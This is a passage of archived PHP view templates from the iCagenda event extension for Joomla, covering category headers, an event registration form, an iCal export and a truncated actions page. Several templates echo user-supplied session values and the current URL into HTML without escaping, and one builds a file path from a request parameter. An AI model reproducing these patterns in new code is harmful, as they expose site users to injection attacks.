		$comma_separated	= implode("::", $array);

		if (!in_array($comma_separated, $catinfos_array))
		{
			array_push($catinfos_array, $comma_separated);
		}
	}
}

$cat_result = array_unique($catid_array);

if (count($catinfos_array))
{
	echo '<div class="ic-header-categories ic-clearfix">';
}

for ($i = 0; $i < count($catinfos_array); $i++)
{
	$cat_getinfos = explode('::', $catinfos_array[$i]);

	if (in_array('1', $this->cat_options))
	{
		echo '<div class="cat_header_title ' . $cat_getinfos['3'] . ' ic-clearfix"';
		echo ' style="background: ' . $cat_getinfos['1'] . ';">' . $cat_getinfos['0'];
		echo ' </div>';
	}
	if (in_array('2', $this->cat_options))
	{
		echo '<div class="cat_header_desc ic-clearfix">' . $cat_getinfos['2'] . '</div>';
	}
}

if (count($catinfos_array))
{
	echo '</div>';
}
com_icagenda/views/list/tmpl/registration.php000060400000056305152453734450015465 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version 	3.5.10 2015-08-27
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

JHtml::_('behavior.keepalive');
JHtml::_('behavior.formvalidation');

// Set Item Object
$this_item	= (array) $this->data->items;
$item		= array_shift($this_item);

$this_state		= $item->state;
$this_approval	= $item->approval;
$today			= time();
$this_today		= strtotime(date('Y-m-d', $today));
$this_next		= strtotime(date('Y-m-d', strtotime($item->next)));
$today_datetime	= JHtml::date('now', 'Y-m-d H:i:s');

// Access Control
$this_access_reg	= $item->accessReg;
$user				= JFactory::getUser();
$userLevels			= $user->getAuthorisedViewLevels();

$app = JFactory::getApplication();

$regUntilEnd = JComponentHelper::getParams('com_icagenda')->get('reg_end_period', 0);

// Error 404 if event doesn't exist OR date past
if (($item == NULL)
//	|| ($this_next < $this_today)
	|| ($this_state != 1)
	|| ($this_approval == 1)
	|| ((empty($this->statutReg) && ($item->statutReg == 0)) || ($item->statutReg == 0)) )
{
	JError::raiseError('404',JTEXT::_('JERROR_LAYOUT_PAGE_NOT_FOUND'));

	return false;
}
//elseif ($tickets_left <= 0)
elseif ( (
		$item->ticketsCouldBeBooked !== true
//		&& $regUntilEnd != 1
		)
//	|| (
//		$regUntilEnd == 1
//		&& $item->ticketsCouldBeBooked !== true
//		&& iCDate::isDate($item->enddatetime)
//		&& (strtotime($item->enddatetime) <= strtotime($today_datetime))
//		)
	)
{
	$app->enqueueMessage(JTEXT::_('JERROR_LAYOUT_PAGE_NOT_FOUND'), 'warning');

	return false;
}
elseif (!in_array($this_access_reg, $userLevels))
{
	// Redirect to login page if no access to registration form
	$return	= base64_encode($item->iCagendaRegForm);
	$rlink	= JRoute::_('index.php?option=com_users&view=login&return=' . $return, false);

	$msg = '<div>';
	$msg.= '<h2>';
	$msg.= JText::_('IC_AUTH_REQUIRED');
	$msg.= '</h2>';
	$msg.= '<div>';
	$msg.= JText::_("COM_ICAGENDA_LOGIN_TO_ACCESS_REGISTRATION_FORM");
	$msg.= '</div>';
	$msg.= '<br />';
	$msg.= '<div>';
	$msg.= '<a href="' . JRoute::_($item->Event_Link) . '" class="btn btn-default btn-small button">';
	$msg.= '<i class="iCicon iCicon-backic icon-white"></i>&nbsp;' . JTEXT::_('COM_ICAGENDA_BACK') . '';
	$msg.= '</a>';
	$msg.= '&nbsp;';
	$msg.= '<a href="index.php" class="btn btn-info btn-small button">';
	$msg.= '<i class="icon-home icon-white"></i>&nbsp;' . JTEXT::_('JERROR_LAYOUT_HOME_PAGE') . '';
	$msg.= '</a>';
	$msg.= '</div>';
	$msg.= '</div>';

	// if not login, and registration form not "public"
	$app->enqueueMessage($msg);
	$app->redirect($rlink);
}
else
{
	// prepare Document
	$document	= JFactory::getDocument();
	$menus		= $app->getMenu();
	$pathway 	= $app->getPathway();
	$title 		= null;

	$icsetvar = 'components/com_icagenda/add/elements/icsetvar.php';

	$menu = $menus->getActive();
	if ($menu)
	{
		$this->params->def('page_heading', $this->params->get('page_title', $item->title));
	}
	else
	{
		$this->params->def('page_heading', JText::_('JGLOBAL_ARTICLES'));
	}

	$title = JText::_( 'COM_ICAGENDA_REGISTRATION_TITLE' ).' : '.$item->title;

	if (empty($title))
	{
		$title = $app->getCfg('sitename');
	}
	elseif ($app->getCfg('sitename_pagetitles', 0) == 1)
	{
		$title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title);
	}
	elseif ($app->getCfg('sitename_pagetitles', 0) == 2)
	{
		$title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename'));
	}
	$document->setTitle($title);


	// START OF THE PAGE
	?>
	<div id="icagenda" class="ic-registration-view<?php echo $this->pageclass_sfx; ?>">

		<?php
		// load Theme and css
		if (file_exists( JPATH_SITE . '/components/com_icagenda/themes/packs/'.$this->template.'/'.$this->template.'_registration.php' ))
		{
			$tpl_registration	= JPATH_SITE . '/components/com_icagenda/themes/packs/'.$this->template.'/'.$this->template.'_registration.php';
			$css_component		= '/components/com_icagenda/themes/packs/'.$this->template.'/css/'.$this->template.'_component.css';
			$css_com_rtl		= '/components/com_icagenda/themes/packs/'.$this->template.'/css/'.$this->template.'_component-rtl.css';
		}
		else
		{
			$tpl_registration	= JPATH_SITE . '/components/com_icagenda/themes/packs/default/default_registration.php';
			$css_component		= '/components/com_icagenda/themes/packs/default/css/default_component.css';
			$css_com_rtl		= '/components/com_icagenda/themes/packs/default/css/default_component-rtl.css';
		}

		// Add the media specific CSS to the document
		JLoader::register('iCagendaMediaCss', JPATH_ROOT . '/components/com_icagenda/helpers/media_css.class.php');
		iCagendaMediaCss::addMediaCss($this->template, 'component');

		echo "<!-- " . $this->template . " -->";

		// Loads Variables for Theme files
		require_once $icsetvar;

		// Loads Header
		require_once $tpl_registration;

		$user = JFactory::getUser();
		$u_id = $user->get('id');
		$u_mail = $user->get('email');

		// logged-in Users: Name/User Name Option
		$nameJoomlaUser = JComponentHelper::getParams('com_icagenda')->get('nameJoomlaUser', 1);

		if ($nameJoomlaUser == 1)
		{
			$u_name = $user->get('name');
		}
		else
		{
			$u_name = $user->get('username');
		}

		// Autofill name and email if registered user log in
		$autofilluser = JComponentHelper::getParams('com_icagenda')->get('autofilluser', 1);

		if ($autofilluser != 1)
		{
			$u_name = '';
			$u_mail = '';
		}

		// Get Phone Options
		$phoneDisplay = JComponentHelper::getParams('com_icagenda')->get('phoneDisplay', 1);

		// Get Notes Options
		$notesDisplay = JComponentHelper::getParams('com_icagenda')->get('notesDisplay', 0);

		$theme				= $this->template;

		//$infoimg			= JURI::root().'components/com_icagenda/themes/packs/'.$theme.'/images/info.png';
		$infoimg			= JURI::root().'components/com_icagenda/themes/packs/default/images/info.png';

		// Global Options
		$iCparams			= JComponentHelper::getParams('com_icagenda');
		$terms				= $iCparams->get('terms', 0);

		// Set Tooltips
		$icTip_userID	= htmlspecialchars('<strong>' . JText::_( 'ICAGENDA_REGISTRATION_FORM_USERID' ) . '</strong><br />' . JText::_( 'ICAGENDA_REGISTRATION_FORM_USERID_DESC' ) . '');
		$icTip_name		= htmlspecialchars('<strong>' . JText::_( 'ICAGENDA_REGISTRATION_FORM_NAME' ) . '</strong><br />' . JText::_( 'ICAGENDA_REGISTRATION_FORM_NAME_DESC' ) . '');
		$icTip_email	= htmlspecialchars('<strong>' . JText::_( 'ICAGENDA_REGISTRATION_FORM_EMAIL' ) . '</strong><br />' . JText::_( 'ICAGENDA_REGISTRATION_FORM_EMAIL_DESC' ) . '');
		$icTip_email2	= htmlspecialchars('<strong>' . JText::_( 'IC_FORM_EMAIL_CONFIRM_LBL' ) . '</strong><br />' . JText::_( 'IC_FORM_EMAIL_CONFIRM_DESC' ) . '');
		$icTip_phone	= htmlspecialchars('<strong>' . JText::_( 'ICAGENDA_REGISTRATION_FORM_PHONE' ) . '</strong><br />' . JText::_( 'ICAGENDA_REGISTRATION_FORM_PHONE_DESC' ) . '');
		$icTip_date		= htmlspecialchars('<strong>' . JText::_( 'ICAGENDA_REGISTRATION_FORM_DATE' ) . '</strong><br />' . JText::_( 'ICAGENDA_REGISTRATION_FORM_DATE_DESC' ) . '');
		$icTip_period	= htmlspecialchars('<strong>' . JText::_( 'ICAGENDA_REGISTRATION_FORM_PERIOD' ) . '</strong><br />' . JText::_( 'ICAGENDA_REGISTRATION_FORM_PERIOD_DESC' ) . '');
		$icTip_people	= htmlspecialchars('<strong>' . JText::_( 'ICAGENDA_REGISTRATION_FORM_PEOPLE' ) . '</strong><br />' . JText::_( 'ICAGENDA_REGISTRATION_FORM_PEOPLE_DESC' ) . '');

		// Variables
		$ic_required		= ' required="true"';
		$ic_required_icon	= '*';
		$ic_readonly		= ' readonly="true"';

		$session		= JFactory::getSession();
		$ic_submit_tos	= $session->get('ic_submit_tos', '');
		$post_email2	= $session->get('email2', '');
		$post			= $session->get('ic_registration', '');

		$post_name		= isset($post['name']) ? $post['name'] : '';
		$post_email		= isset($post['email']) ? $post['email'] : '';
		$post_phone		= isset($post['phone']) ? $post['phone'] : '';
		$post_date		= isset($post['date']) ? $post['date'] : '';
		$post_period	= isset($post['period']) ? $post['period'] : '';
		$post_people	= isset($post['people']) ? $post['people'] : '';
		$post_notes		= isset($post['notes'])? $post['notes'] : '';

		// Form Validation
		$novalidate			= ($this->reg_form_validation == 1) ? ' novalidate' : '';
		$form_validate		= ($this->reg_form_validation == 1) ? '' : ' form-validate';
		$iCheckForm			= ($this->reg_form_validation == 1) ? '' : ' onsubmit="return iCheckForm();"';
		?>

		<?php // START CONTENT ?>

		<?php // TITLE REGISTRATION ?>
		<div class="ic-form-title">
			<h1><?php echo JText::_( 'COM_ICAGENDA_REGISTRATION_TITLE' ); ?></h1>
		</div>

		<?php // ERROR ALERT ?>
		<div id="form_errors" class="alert alert-danger fade in" style="display:none">
			<strong><?php echo JText::_('JGLOBAL_VALIDATION_FORM_FAILED'); ?></strong>
			<div id="message_error">
			</div>
		</div>

		<?php // FIELDS REQUIRED INFO (not used) ?>
		<div class="ic-required-info">
			<?php echo JText::_( 'COM_ICAGENDA_FORM_REQUIRED_INFO' ); ?>
		</div>

		<?php // START FORM ?>
		<form id="registration" name="registration" action="<?php echo JRoute::_('index.php?option=com_icagenda'); ?>" class="icagenda_form<?php echo $form_validate; ?>" method="post" enctype="multipart/form-data"<?php echo $iCheckForm . $novalidate; ?>>
			<fieldset>
			<div class="fieldset">
				<?php if (($u_id) && ($autofilluser == 1)) : ?>
					<?php echo '<input type="hidden" name="uid" value="'.$u_id.'" />'; ?>
				<?php else : ?>
					<?php echo '<input type="hidden" name="uid" value="" disabled="disabled" size="2" />'; ?>
				<?php endif; ?>

				<?php // NAME FIELD ?>
					<?php
					$name_option = !empty($u_name) ? $ic_readonly : $ic_required;
					?>
					<div class="ic-control-group ic-clearfix">
						<div class="ic-control-label">
							<?php echo '<label id="reg_name-lbl" for="reg_name">' . JText::_( 'ICAGENDA_REGISTRATION_FORM_NAME' ) . ' ' . $ic_required_icon . '</label>'; ?>
						</div>
						<div class="ic-controls">
							<?php if (!$post_name) : ?>
								<?php echo '<input type="text" class="input-large required validate-username" aria-required="true" id="reg_name" name="name" value="'.$u_name.'"'.$name_option.' />'; ?>
							<?php else : ?>
								<?php echo '<input type="text" class="input-large required validate-username" aria-required="true" id="reg_name" name="name" value="'.$post_name.'"'.$name_option.' />'; ?>
							<?php endif; ?>
							<?php echo '<span class="iCFormTip iCicon iCicon-info-circle" title="' . $icTip_name . '"></span>'; ?>
						</div>
					</div>

				<?php // EMAIL FIELD ?>
					<?php
					$email_class = ' class="input-large required validate-email"';
					$email_required = !empty($item->emailRequired) ? $ic_required : '';
					$email_required_icon = !empty($item->emailRequired) ? $ic_required_icon : '';
					$email_readonly = !empty($u_mail) ? $ic_readonly : '';
					?>
					<div class="ic-control-group ic-clearfix">
						<div class="ic-control-label">
							<label id="reg_email-lbl" for="reg_email"><?php echo JText::_( 'ICAGENDA_REGISTRATION_FORM_EMAIL' ) . ' ' . $email_required_icon; ?></label>
						</div>
						<div class="ic-controls">
							<?php if ( ! $post_email) : ?>
								<?php echo '<input type="email" field="id" id="reg_email" name="email" value="' . $u_mail . '"' . $email_class . $email_required . $email_readonly . ' />'; ?>
							<?php else : ?>
								<?php echo '<input type="email" id="reg_email" name="email" value="' . $post_email . '"' . $email_class . $email_required . $email_readonly . ' />'; ?>
							<?php endif; ?>
							<?php echo '<span class="iCFormTip iCicon iCicon-info-circle" title="' . $icTip_email . '"></span>'; ?>
						</div>
					</div>
					<?php // Confirm Email (if not logged-in user) ?>
					<?php if ( ! $u_mail && $this->params->get('emailConfirm', 1)) : ?>
					<div class="ic-control-group ic-clearfix">
						<div class="ic-control-label">
							<label id="reg_email2-lbl" for="reg_email2"><?php echo JText::_( 'IC_FORM_EMAIL_CONFIRM_LBL' ) . ' ' . $email_required_icon; ?></label>
						</div>
						<div class="ic-controls">
							<?php echo '<input type="email" field="email" id="reg_email2" name="email2" value="' . $post_email2 . '" class="input-large required validate-emailverify" ' . $email_required . ' placeholder="' . JText::_( 'IC_FORM_EMAIL_CONFIRM_HINT' ) . '" />'; ?>
							<?php echo '<span class="iCFormTip iCicon iCicon-info-circle" title="' . $icTip_email2 . '"></span>'; ?>
						</div>
					</div>
					<?php endif; ?>

				<?php // PHONE FIELD ?>
				<?php if ($phoneDisplay == 1) : ?>
					<?php
					$phone_required = !empty($item->phoneRequired) ? $ic_required : '';
					$phone_required_icon = !empty($item->phoneRequired) ? $ic_required_icon : '';
					?>
					<div class="ic-control-group ic-clearfix">
						<div class="ic-control-label">
							<label id="reg_phone-lbl" for="reg_phone"><?php echo JText::_( 'ICAGENDA_REGISTRATION_FORM_PHONE' ) . ' ' . $phone_required_icon; ?></label>
						</div>
						<div class="ic-controls">
							<?php if (!$post_phone) : ?>
								<?php echo '<input type="text" class="input-large" id="reg_phone" name="phone" value="" size="20"'.$phone_required.' />'; ?>
							<?php else : ?>
								<?php echo '<input type="text" class="input-large" id="reg_phone" name="phone" value="' . $post_phone . '" size="20"'.$phone_required.' />'; ?>
							<?php endif; ?>
							<?php echo '<span class="iCFormTip iCicon iCicon-info-circle" title="' . $icTip_phone . '"></span>'; ?>
						</div>
					</div>
				<?php endif; ?>


				<?php // DATE FIELD ?>
				<?php $typeReg = $item->typeReg; ?>

				<?php // Dates List ?>
				<?php if ($typeReg == 1) : ?>
					<div class="ic-control-group ic-clearfix">
						<div class="ic-control-label">
							<label><?php echo JText::_( 'ICAGENDA_REGISTRATION_FORM_DATE' ); ?></label>
						</div>
						<div class="ic-controls ic-select">
							<select type="list" class="select-large" name="date">
								<?php
								foreach ($item->datelistMkt as $date)
								{
									$date_get = explode('@@', $date);
									$date_value = $date_get[0];
									$date_label = $date_get[1];

									$selected = ($post_date == $date_value) ? ' selected' : '';

									echo '<option value="' . $date_value . '"' . $selected . '>' . $date_label . '</option>';
								}
								?>
							</select>
							<?php echo '<span class="iCFormTip iCicon iCicon-info-circle" title="' . $icTip_date . '"></span>'; ?>
						</div>
					</div>
				<?php // Only Period ?>
				<?php else : ?>
					<?php if ($item->periodDisplay && ($item->periodControl == 1)) : ?>
						<div class="ic-control-group ic-clearfix">
							<div>
								<label><?php echo JText::_( 'ICAGENDA_REGISTRATION_FORM_PERIOD' ); ?></label>
							</div>
							<div class="ic-controls">
								<input type="hidden" name="period" value="1" />
								<?php
									$start = $item->startDate.' <span class="evttime">'.$item->startTime.'</span>';
									$end = $item->endDate.' <span class="evttime">'.$item->endTime.'</span>';
									echo $start.' - '.$end;
								?>
							</div>
						</div>
					<?php else : ?>
						<input type="hidden" name="period" value="1" />
					<?php endif; ?>
				<?php endif; ?>

				<?php // NUMBER OF PEOPLE FIELD ?>
				<?php $maxRlist = $item->maxRlist; ?>

				<?php if ($maxRlist > 1) : ?>
					<div class="ic-control-group ic-clearfix">
						<div class="ic-control-label">
							<label><?php echo JText::_( 'ICAGENDA_REGISTRATION_FORM_PEOPLE' ); ?></label>
						</div>
						<div class="ic-controls ic-select">
							<select id="people" type="list" class="select-large" name="people">
							<?php
								$maxRlist		= $item->maxRlist;
								$maxReg			= $item->maxReg;
								$registered		= $item->registered;
								$placeRemain	= ($maxReg - 0);

								for ($i=1; $i <= $maxRlist; $i++)
								{
									$selected = ($post_people == $i) ? ' selected' : '';

									echo '<option value="'.$i.'"' . $selected . '>'.$i.'</option>';
								}
							?>
							</select>
						<?php echo '<span class="iCFormTip iCicon iCicon-info-circle" title="' . $icTip_people . '"></span>'; ?>
						</div>
					</div>
				<?php else : ?>
					<input type="hidden" name="people" value="1" />
				<?php endif; ?>


				<?php // CUSTOM FIELDS ?>
					<?php
						// Load Custom fields - Registration form (1)
						echo icagendaCustomfields::loader(1);
					?>


				<?php // NOTES FIELD ?>
				<?php if ($notesDisplay == 1) : ?>
					<div class="ic-control-group ic-clearfix">
						<div class="ic-control-label">
							<label><?php echo JText::_( 'ICAGENDA_REGISTRATION_FORM_NOTES' ); ?></label>
						</div>
						<div class="ic-controls">
							<textarea name="notes" rows="10" cols="5" style="width:100%" placeholder="<?php echo JText::_( 'ICAGENDA_REGISTRATION_FORM_NOTES_DESC' ); ?>"><?php echo $post_notes; ?></textarea>
						</div>
					</div>
				<?php endif; ?>


				<?php // Hidden fields to process redirection
				$eventID = JRequest::getInt('id');
				$ItemID = JRequest::getInt('Itemid');
				$current_url = JURI::getInstance()->toString();
				?>

				<?php // Input to process registration function ?>
				<input type="hidden" name="event" value="<?php echo $eventID; ?>" />
				<input type="hidden" name="menuID" value="<?php echo $ItemID; ?>" />
				<input type="hidden" name="current_url" value="<?php echo $current_url; ?>" />
				<input type="hidden" name="max_nb_of_tickets" value="<?php echo $item->maxReg; ?>" />
				<!--input type="hidden" id="tos" name="submit_tos" value="<?php echo $ic_submit_tos; ?>" /-->

				<label style="display:none" id="formAgree-lbl" for="formAgree"><?php echo JText::_( 'COM_ICAGENDA_TERMS_AND_CONDITIONS'); ?></label>
				<?php
				/**
				 * Terms of Service Display
				 */
				if ($terms == 0)
				{
					// Terms of Service not displayed
					$tokenHTML = str_replace('type="hidden"','id="formAgree" name="tos" value="checked" required="true" type="checkbox" checked style="display:none"', JHtml::_( 'form.token' ));
					echo $tokenHTML;
					echo '<div class="ic-tos-content bgButton">';
				}
				elseif ($terms == 1)
				{
					// Terms of Service
					$checked = ($ic_submit_tos == 'checked') ? ' checked' : '';

					$tokenHTML = str_replace('type="hidden"', 'id="formAgree" name="tos" value="checked" required="true" type="checkbox"' . $checked, JHtml::_( 'form.token' ));

					// Get the site name
					$config = JFactory::getConfig();
					if(version_compare(JVERSION, '3.0', 'ge')) {
						$sitename = $config->get('sitename');
					} else {
						$sitename = $config->getValue('config.sitename');
					}

					// Tos Type
					$iCparams = JComponentHelper::getParams('com_icagenda');
					$terms_Type = $iCparams->get('terms_Type', '');
					$termsArticle = $iCparams->get('termsArticle', '');
					$termsContent = $iCparams->get('termsContent', '');

					$termsDEFAULT_STRING = JText::_( 'COM_ICAGENDA_REGISTRATION_TERMS');
					$termsDEFAULT = str_replace('[SITENAME]', $sitename, $termsDEFAULT_STRING);
					$termsARTICLE = 'index.php?option=com_content&view=article&id='.$termsArticle.'&tmpl=component';
					$termsCUSTOM = $termsContent;

					// Menu-item ID (fix 3.2.1.1)
					$menu = JFactory::getApplication()->getMenu();
					$menuItems = $menu->getActive();
					$menuID = $menuItems->id;
					?>
					<input type="hidden" name="menuID" value="<?php echo $menuID; ?>" />
					<div class="ic-tos-content bgButton">
						<div>
							<b><big><?php echo JText::_( 'COM_ICAGENDA_TERMS_AND_CONDITIONS'); ?></big></b>
						</div>
						<?php
						if ($terms_Type == 1)
						{
							echo '<iframe src="'.htmlentities($termsARTICLE).'" width="98%" height="150"></iframe>';
						}
						elseif ($terms_Type == 2)
						{
							echo '<div class="ic-tos-text">';
							echo $termsCUSTOM;
							echo '</div>';
						}
						else
						{
							echo '<div class="ic-tos-text">';
							echo $termsDEFAULT;
							echo '</div>';
						}
						?>
						<!--iframe src="<?php echo htmlentities($tosURL); ?>" width="98%" height="150"></iframe-->
						<div class="ic-tos-agree agreeToS">
							<p><?php echo $tokenHTML; ?> <?php echo JText::_( 'COM_ICAGENDA_TERMS_AND_CONDITIONS_AGREE'); ?> *</p>
						</div>
					<?php
				}
				?>

					<?php // RECAPTCHA ?>
					<?php if ($this->reg_captcha != '0') : ?>
					<div class="ic-control-group ic-clearfix">
						<div class="ic-control-label">
							<label>&nbsp;</label>
						</div>
						<div class="ic-controls">
							<?php echo $this->form->getInput('captcha'); ?>
						</div>
					</div>
					<br />
					<?php endif; ?>

					<div id="submit">
						<span>
							<button type="submit" class="button validate"><?php echo JText::_('JREGISTER');?></button>
							<input type="hidden" name="task" value="" />
							<input type="hidden" name="return" value="index.php" />
							<?php if (false) echo JHtml::_( 'form.token' ); ?>
						</span>
						<span class="buttonx">
							<a href="<?php echo $item->Event_Link; ?>" title="<?php echo JTEXT::_('COM_ICAGENDA_CANCEL'); ?>">
								<?php echo JTEXT::_('COM_ICAGENDA_CANCEL'); ?>
							</a>
						</span>
					</div>
				</div><?php // End Div bgButton ?>
			</div><?php // End Form Fields ?>
			<div style="clear:both"></div>
			</fieldset>
		</form>
	</div>
	<?php
	// clear the data so we don't process it again
	$session->clear('ic_registration');
	$session->clear('custom_fields');
	$session->clear('ic_submit_tos');
	$session->clear('email2');

	// iCagenda Script validation for Registration form (1)
	if ( ! $this->reg_form_validation)
	{
		$iCheckForm = icagendaForm::submit(1);
		JFactory::getDocument()->addScriptDeclaration($iCheckForm);
	}

	// Theme pack component css
	$document->addStyleSheet( JURI::base( true ) . $css_component );

	// RTL css if site language is RTL
	$lang = JFactory::getLanguage();

	if ( $lang->isRTL()
		&& file_exists( JPATH_SITE . $css_com_rtl) )
	{
		$document->addStyleSheet( JURI::base( true ) . $css_com_rtl );
	}

	JHtml::script( 'com_icagenda/icagenda.js', false, true );

	$iCtip	 = array();
	$iCtip[] = '	jQuery(document).ready(function(){';
	$iCtip[] = '		jQuery(".iCFormTip").tipTip({maxWidth: "250px", defaultPosition: "right", edgeOffset: 10});';
	$iCtip[] = '	});';

	// Add the script to the document head.
	JFactory::getDocument()->addScriptDeclaration(implode("\n", $iCtip));

	// Add custom handler to check both the emails (Email and Confirm Email) are same
	JFactory::getDocument()->addScriptDeclaration('jQuery(document).ready(function(){
		document.formvalidator.setHandler("emailverify", function (value) {
			var email = document.getElementById("reg_email");
			var email2 = document.getElementById("reg_email2");
			return (email.value === email2.value);
		});
	});');

	// Disable submit button after first click
	JFactory::getDocument()->addScriptDeclaration('
		jQuery(function($) {
			$("#registration").one("submit", function() {
				$(this).find(\'button[type="submit"]\')
					.attr("disabled","disabled")
					.css({
						"background-color": "transparent",
						"color": "grey"
					});
				$("#submit").addClass("ic-loader");
				$(".buttonx").css("display", "none");
			});
		});
	');
}
com_icagenda/views/list/tmpl/default_vcal.php000060400000010501152453734450015370 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Tom-Henning (MaW) / Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.6 2015-05-11
 * @since       3.2.9
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

require_once JPATH_COMPONENT . '/helpers/iCalcreator.class.php';

//$v = new vCalendar($config);
$v = new vCalendar();
$v->setConfig( 'filename', 'icagenda.ics' );
$v->prodid = 'iCagenda';

$config = JFactory::getConfig();

// Joomla 3.x / 2.5 SWITCH
if (version_compare(JVERSION, '3.0', 'ge'))
{
	$offset = $config->get('offset');
}
else
{
	$offset = $config->getValue('config.offset');
}

$dateTimeZone	= new DateTimeZone($offset);
$dateTime		= new DateTime("now", $dateTimeZone);
$timeOffset		= $dateTimeZone->getOffset($dateTime);
$timezone		= ($timeOffset / 3600);

$tz = 'UTC';
$v->setProperty( 'method', 'PUBLISH' );
$v->setProperty( 'X-WR-CALDESC', '' );
$v->setProperty( 'X-WR-TIMEZONE', $tz);
$xprops = array( 'X-LIC-LOCATION' => $tz);

if (version_compare(PHP_VERSION, '5.3.0') >= 0)
{
	iCalUtilityFunctions::createTimezone($v, $tz, $xprops);
}
$stamp = $this->data;

$get_date = '';
$href='#';
$start_Datetime = '';
$start_Date = '';
$end_Datetime = '';
$end_Date = '';

foreach ($stamp->items as $item)
{
	$s_dates		= $item->dates;
	$single_dates	= unserialize($s_dates);

	if (JRequest::getVar('date', ''))
	{
		$var_one_date = JRequest::getVar('date');
		$one_ex = explode('-', $var_one_date);
		$get_one_date = $one_ex['0'].'-'.$one_ex['1'].'-'.$one_ex['2'].' '.$one_ex['3'].':'.$one_ex['4'].':00';
		$get_date = date('Y-m-d-H-i', strtotime($get_one_date)-$timeOffset);
	}
	else
	{
		$get_date = date('Y-m-d-H-i', strtotime($item->next)-$timeOffset);
	}

	$ex			= explode('-', $get_date);
	$this_date	= $ex['0'].'-'.$ex['1'].'-'.$ex['2'].' '.$ex['3'].':'.$ex['4'];

	$startdate	= date('Y-m-d-H-i', strtotime($item->start_datetime)-$timeOffset);
	$enddate	= date('Y-m-d-H-i', strtotime($item->end_datetime)-$timeOffset);

	if ( ($get_date >= $startdate)
		&& ($get_date <= $enddate)
		&& ( ! in_array($this_date, $single_dates)) )
	{
		$weekdays	= ($item->weekdays || $item->weekdays == '0') ? true : false;

		if ($weekdays)
		{
			$startdate	= date('Y-m-d-H-i', strtotime($this_date));
			$enddate	= date('Y-m-d', strtotime($this_date)) . '-' . date('H-i', strtotime($item->end_datetime)-$timeOffset);
		}

		$ex_S		= explode('-', $startdate);
		$ex_E		= explode('-', $enddate);

		$start_Datetime = $ex_S['0'].$ex_S['1'].$ex_S['2'].'T'.$ex_S['3'].$ex_S['4'].'00Z';
		$end_Datetime = $ex_E['0'].$ex_E['1'].$ex_E['2'].'T'.$ex_E['3'].$ex_E['4'].'00Z';
//		$start_Date = $ex_S['0'].$ex_S['1'].$ex_S['2'];
//		$end_Date = $ex_E['0'].$ex_E['1'].$ex_E['2'];
	}
	else
	{
		$start_Datetime = $end_Datetime = $ex['0'].$ex['1'].$ex['2'].'T'.$ex['3'].$ex['4'].'00Z';
//		$start_Date = $end_Date = $ex['0'].$ex['1'].$ex['2'];
	}

	$urllink = JUri::getInstance()->toString();
	$cleanurl = preg_replace('/&tmpl=[^&]*/', '', $urllink);
	$cleanurl = preg_replace('/&vcal=[^&]*/', '', $cleanurl);

	$vevent = &$v->newComponent('vevent');
	$vevent->setProperty('categories', $item->cat_title);
	$vevent->setProperty('summary', $item->title);
	$vevent->setProperty('description', strip_tags($item->desc));
	$vevent->setProperty('url', $item->Event_Link);
	$vevent->setUID($item->id);

	if ( $item->contact_name != '' )
	{
		$vevent->setOrganizer($item->contact_name, $item->contact_email);
	}

//	if ($item->displaytime == 1)
//	{
		$vevent->setProperty('dtstart', $start_Datetime);
		$vevent->setProperty('dtend', $end_Datetime);
//	}
//	else
//	{
		// All day event (if time not displayed)
//		$vevent->setProperty('dtstart', $start_Date, array("VALUE" => "DATE"));
//		$vevent->setProperty('dtend', $end_Date, array("VALUE" => "DATE"));
//		//$vevent->setProperty ("duration" , "PT24H");
//	}

	$vevent->setProperty('location',$item->place_name);
}

$v->returnCalendar();
com_icagenda/views/list/tmpl/actions.php000060400000004371152453734450014407 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version 	3.5.6 2015-05-17
 * @since       3.6.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

// Set Item Object
$this_item	= (array) $this->data->items;
$item		= array_shift($this_item);
?>

<div id="icagenda" class="ic-actions-view<?php echo $this->pageclass_sfx; ?>">
	<?php
	// Set base path
//	JLayoutHelper::$defaultBasePath = JPATH_PLUGINS . '/content/ic_paypal/layouts';

	// Render mylayout.php
//	$renderedLayout = JLayoutHelper::render($item);
//	echo $renderedLayout;

	$app = JFactory::getApplication();
	$status = $app->input->get('status', '');

	if ($status)
	{
		$layout = new JLayoutFile($status, $basePath = JPATH_PLUGINS . '/content/ic_' . $status . '/layouts');
		$displayData = array('item' => $item, 'actions' => $this->actions, 'params' => $this->params);
		$html = $layout->render($displayData);

		echo $html;
	}
	else
	{
		echo 'No Action for this page';
	}

//	$layout = new JLayoutFile('plugins.content.ic_paypal.layouts.payment_test');
//	$renderedLayout = JLayoutHelper::render('payment_test');
//	$data = array();
//	echo $layout->render($item);
//	$this->getLayout('payment_test');

//	echo $this->loadTemplate('test');
	?>
	<div>
		<a href="index.php" class="btn btn-small btn-info button">
		<?php if(version_compare(JVERSION, '3.0', 'ge')) : ?>
			<i class="icon-home icon-white"></i>&nbsp;<?php echo JTEXT::_('JERROR_LAYOUT_HOME_PAGE'); ?>
		<?php else : ?>
